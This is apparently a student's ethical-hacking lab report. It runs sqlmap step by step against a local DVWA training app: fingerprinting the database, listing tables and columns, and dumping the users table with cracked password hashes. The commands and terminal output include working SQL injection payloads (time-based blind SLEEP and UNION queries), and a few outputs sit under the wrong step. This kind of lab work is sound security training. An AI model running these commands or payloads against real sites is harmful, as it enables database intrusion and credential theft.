EH - Lab 8

Name: Sameer Gupta

R. No.: 252010036

1. Basic Detection (Check vulnerability)

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=XYZ; security=low" --batch

- Automatically detects injection
- --batch = no manual prompts

```
┌──(kali㉿kali)-[/var/www/html/dvwa/config]
└─$ sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="dvwaSession=1; security=
low; PHPSESSID=5e8dc2902e424ccddd304f045da469c4" --batch
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.10.3#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the en
d user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damage caused by this program

[*] starting @ 12:23:16 /2026-04-16/

[12:23:16] [INFO] resuming back-end DBMS 'mysql'
[12:23:16] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1013 FROM (SELECT(SLEEP(5)))kcat) AND 'EAIk'='EAIk&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x7170707a71,0x6859756950535a4b474c4c64626e7347534e6b72725243587474434
86a55626f485244714f544646,0x716a7a7671),NULL-- -&Submit=Submit
---
[12:23:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.66
back-end DBMS: MySQL ≥ 5.0.12 (MariaDB fork)
[12:23:16] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'

[*] ending @ 12:23:16 /2026-04-16/
```

2. Identify Database Type

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=abc123xyz; security=low" --banner

- Shows DB version (e.g., MySQL, MariaDB)

```
┌──(kali㉿kali)-[/var/www/html/dvwa/config]
└─$ sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="dvwaSession=1; security=
low; PHPSESSID=5e8dc2902e424ccddd304f045da469c4" --banner

        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.10.3#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the en
d user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damage caused by this program

[*] starting @ 12:24:00 /2026-04-16/

[12:24:00] [INFO] resuming back-end DBMS 'mysql'
[12:24:00] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1013 FROM (SELECT(SLEEP(5)))kcat) AND 'EAIk'='EAIk&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x7170707a71,0x6859756950535a4b474c4c64626e7347534e6b72725243587474434
86a55626f485244714f544646,0x716a7a7671),NULL-- -&Submit=Submit
---
[12:24:00] [INFO] the back-end DBMS is MySQL
[12:24:00] [INFO] fetching banner
[12:24:00] [WARNING] reflective value(s) found and filtering out
web server operating system: Linux Debian
web application technology: Apache 2.4.66
back-end DBMS operating system: Linux Debian
back-end DBMS: MySQL ≥ 5.0.12 (MariaDB fork)
banner: '11.8.6-MariaDB-5 from Debian'
[12:24:00] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'

[*] ending @ 12:24:00 /2026-04-16/
```

3. List Databases

Format - sqlmap -u "URL" --cookie="COOKIE" --dbs

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=abc123xyz; security=low" –dbs

```
┌──(kali㉿kali)-[/var/www/html/dvwa/config]
└─$ sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="dvwaSession=1; security=
low; PHPSESSID=5e8dc2902e424ccddd304f045da469c4" --dbs

        {1.10.3#stable}
        |_ -| . [,]     | .'| . |
        |___|_  [.]_|_|_|__,|  _|
              |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the en
d user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damage caused by this program

[*] starting @ 12:27:27 /2026-04-16/

[12:27:27] [INFO] resuming back-end DBMS 'mysql'
[12:27:27] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1013 FROM (SELECT(SLEEP(5)))kcat) AND 'EAIk'='EAIk&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x7170707a71,0x6859756950535a4b474c4c64626e7347534e6b72725243587474434
86a55626f485244714f544646,0x716a7a7671),NULL-- -&Submit=Submit
---
[12:27:27] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.66
back-end DBMS: MySQL ≥ 5.0.12 (MariaDB fork)
[12:27:27] [INFO] fetching database names
available databases [2]:
[*] dvwa
[*] information_schema

[12:27:27] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'

[*] ending @ 12:27:27 /2026-04-16/
```

4. List Tables from a Database

Format - sqlmap -u "URL" --cookie="COOKIE" -D dvwa --tables

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=abc123xyz; security=low" -D dvwa –tables

```
┌──(kali㉿kali)-[/var/www/html/dvwa/config]
└─$ sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="dvwaSession=1; security=
low; PHPSESSID=5e8dc2902e424ccddd304f045da469c4" -D dvwa --tables

        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.10.3#stable}
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the en
d user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damage caused by this program

[*] starting @ 12:28:42 /2026-04-16/

[12:28:42] [INFO] resuming back-end DBMS 'mysql'
[12:28:42] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1013 FROM (SELECT(SLEEP(5)))kcat) AND 'EAIk'='EAIk&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x7170707a71,0x6859756950535a4b474c4c64626e7347534e6b72725243587474434
86a55626f485244714f544646,0x716a7a7671),NULL-- -&Submit=Submit
---
[12:28:42] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.66
back-end DBMS: MySQL ≥ 5.0.12 (MariaDB fork)
[12:28:42] [INFO] fetching tables for database: 'dvwa'
[12:28:42] [WARNING] reflective value(s) found and filtering out
Database: dvwa
[4 tables]
+-------------+
| access_log  |
| guestbook   |
| security_log |
| users       |
+-------------+

[12:28:42] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'

[*] ending @ 12:28:42 /2026-04-16/
```

5. List Columns in a Table

Format - sqlmap -u "URL" --cookie="COOKIE" -D dvwa -T users --columns

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=abc123xyz; security=low" -D dvwa -T users –columns

```
┌──(kali㉿kali)-[/var/www/html/dvwa/config]
└─$ sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="dvwaSession=1; securit
low; PHPSESSID=5e8dc2902e424ccddd304f045da469c4" -D dvwa -T users --columns

        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.10.3#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the
d user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability ar
are not responsible for any misuse or damage caused by this program

[*] starting @ 12:39:25 /2026-04-16/

[12:39:25] [INFO] resuming back-end DBMS 'mysql'
[12:39:25] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1013 FROM (SELECT(SLEEP(5)))kcat) AND 'EAIk'='EAIk&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x7170707a71,0x6859756950535a4b474c4c64626e7347534e6b72725243587474
86a55626f485244714f544646,0x716a7a7671),NULL-- -&Submit=Submit
---
[12:39:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.66
back-end DBMS: MySQL ≥ 5.0.12 (MariaDB fork)
[12:39:25] [INFO] fetching columns for table 'users' in database 'dvwa'
Database: dvwa
Table: users
[10 columns]
+----------------+-------------+
| Column         | Type        |
+----------------+-------------+
| role           | varchar(20) |
| user           | varchar(15) |
| account_enabled | tinyint(1)  |
| avatar         | varchar(70) |
| failed_login   | int(3)      |
| first_name     | varchar(15) |
| last_login     | timestamp   |
| last_name      | varchar(15) |
| password       | varchar(32) |
| user_id        | int(6)      |
+----------------+-------------+

[12:39:25] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'

[*] ending @ 12:39:25 /2026-04-16/
```

6. Dump Data (Important Lab Step)

Format - sqlmap -u "URL" --cookie="COOKIE" -D dvwa -T users --dump

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \

--cookie="PHPSESSID=abc123xyz; security=low" -D dvwa -T users –dump

```
┌──(kali㉿kali)-[/var/www/html/dvwa/config]
└─$ sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="dvwaSession=1; security=
low; PHPSESSID=5e8dc2902e424ccddd304f045da469c4" -D dvwa -T users --dump

                                  1.10.3#stable

                                 https://sqlmap.org
```

7. Target Specific Parameter

Format - sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -p id --cookie="COOKIE"

- Tests only id parameter

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \

--cookie="PHPSESSID=abc123xyz; security=low" -p id

```
Database: dvwa
Table: users
[5 entries]
+---------+--------+---------+-----------------------------+-----------------------------------------------+--
---------+--------+---------+---------------------+-------------+-----------------+
| user_id | role   | user    | avatar                      | password                                      | l
ast_name | first_name | last_login          | failed_login | account_enabled |
+---------+--------+---------+-----------------------------+-----------------------------------------------+--
---------+--------+---------+---------------------+-------------+-----------------+
| 1       | admin  | admin   | /dvwa/hackable/users/admin.jpg   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | a
dmin     | admin      | 2026-04-16 12:12:47 | 0            | 1               |
| 2       | user   | gordonb | /dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | B
rown     | Gordon     | 2026-04-16 12:12:47 | 0            | 1               |
| 3       | user   | 1337    | /dvwa/hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | M
e        | Hack       | 2026-04-16 12:12:47 | 0            | 1               |
| 4       | user   | pablo   | /dvwa/hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | P
icasso   | Pablo      | 2026-04-16 12:12:47 | 0            | 1               |
| 5       | user   | smithy  | /dvwa/hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | S
mith     | Bob        | 2026-04-16 12:12:47 | 0            | 1               |
+---------+--------+---------+-----------------------------+-----------------------------------------------+--
---------+--------+---------+---------------------+-------------+-----------------+

[12:36:34] [INFO] table 'dvwa.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/127.0.0.1/dump/dvw
a/users.csv'
[12:36:34] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'

[*] ending @ 12:36:34 /2026-04-16/
```

8. Increase Attack Level & Risk

Format - sqlmap -u "URL" --cookie="COOKIE" --level=5 --risk=3

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=abc123xyz; security=low" --level=5 --risk=3

- More payloads tested
- Finds deeper vulnerabilities

```
┌──(kali㉿kali)-[/var/www/html/dvwa/config]
└─$ sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="dvwaSession=1; security=
low; PHPSESSID=5e8dc2902e424ccddd304f045da469c4" --level=5 --risk=3

        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.10.3#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the en
d user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damage caused by this program

[*] starting @ 12:43:36 /2026-04-16/

[12:43:36] [INFO] resuming back-end DBMS 'mysql'
[12:43:36] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1013 FROM (SELECT(SLEEP(5)))kcat) AND 'EAIk'='EAIk&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x7170707a71,0x6859756950535a4b474c4c64626e7347534e6b72725243587474434
86a55626f485244714f544646,0x716a7a7671),NULL-- -&Submit=Submit
---
[12:43:36] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.66
back-end DBMS: MySQL ≥ 5.0.12 (MariaDB fork)
[12:43:36] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'

[*] ending @ 12:43:36 /2026-04-16/
```

9. Test POST Requests

Format - sqlmap -u "http://localhost/login.php" --data="username=admin&password=123" --cookie="COOKIE"

sqlmap -u "http://localhost/login.php" \
--data="username=admin&password=123" \
--cookie="PHPSESSID=abc123xyz; security=low"

```
┌──(kali㉿kali)-[/var/www/html/dvwa/config]
└─$ sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --data="username=admin&password=12
3"--cookie="dvwaSession=1; security=low; PHPSESSID=5e8dc2902e424ccddd304f045da469c4"

        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.10.3#stable}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the en
d user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damage caused by this program

[*] starting @ 12:45:59 /2026-04-16/

[12:45:59] [INFO] resuming back-end DBMS 'mysql'
[12:45:59] [INFO] testing connection to the target URL
got a 302 redirect to 'http://127.0.0.1/dvwa/login.php'. Do you want to follow? [Y/n]

redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n]

you have not declared cookie(s), while server wants to set its own ('security=impossible;PHPSESSID=59692439fd7...
172bd76b8d'). Do you want to use those [Y/n]

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1013 FROM (SELECT(SLEEP(5)))kcat) AND 'EAIk'='EAIk&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x7170707a71,0x6859756950535a4b474c4c64626e7347534e6b72725243587474434
86a55626f485244714f544646,0x716a7a7671),NULL-- -&Submit=Submit
---
[12:46:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.66, PHP
back-end DBMS: MySQL ≥ 5.0.12 (MariaDB fork)
[12:46:06] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'

[*] ending @ 12:46:06 /2026-04-16/
```

10. Bypass Login Forms (Lab only)

Format - sqlmap -u "URL" --forms --cookie="COOKIE" --batch

sqlmap -u "http://localhost/dvwa/" \
--forms --cookie="PHPSESSID=abc123xyz; security=low" --batch

```
user_id,role,user,avatar,password,last_name,first_name,last_login,failed_login,account_enabled
1,admin,admin,/dvwa/hackable/users/admin.jpg,5f4dcc3b5aa765d61d8327deb882cf99 (password),admin,admin,2026-04-16 12:12:47,0,1
2,user,gordonb,/dvwa/hackable/users/gordonb.jpg,e99a18c428cb38d5f260853678922e03 (abc123),Brown,Gordon,2026-04-16 12:12:47,0,1
3,user,1337,/dvwa/hackable/users/1337.jpg,8d3533d75ae2c3966d7e0d4fcc69216b (charley),Me,Hack,2026-04-16 12:12:47,0,1
4,user,pablo,/dvwa/hackable/users/pablo.jpg,0d107d09f5bbe40cade3de5c71e9e9b7 (letmein),Picasso,Pablo,2026-04-16 12:12:47,0,1
5,user,smithy,/dvwa/hackable/users/smithy.jpg,5f4dcc3b5aa765d61d8327deb882cf99 (password),Smith,Bob,2026-04-16 12:12:47,0,1
```

11. Enumerate Users & Password Hashes

sqlmap -u "URL" --cookie="COOKIE" --users
sqlmap -u "URL" --cookie="COOKIE" --passwords

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=abc123xyz; security=low" --users

12. Use Random User-Agent

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=abc123xyz; security=low" \
--random-agent

The option --random-agent in sqlmap is used to hide the identity of your request by changing the User-Agent header each time a request is sent.

13. Save Output

Format - sqlmap -u "URL" --cookie="COOKIE" --dump --output-dir=/home/kali/sqlmap_output

sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=abc123xyz; security=low" \

--dump --output-dir=/home/kali/sqlmap_output

```
┌──(kali㉿kali)-[~/sqlmap_output/127.0.0.1]
└─$ cat  "dump/dvwa/guestbook.csv"
comment_id,name,comment
1,test,This is a test comment.
```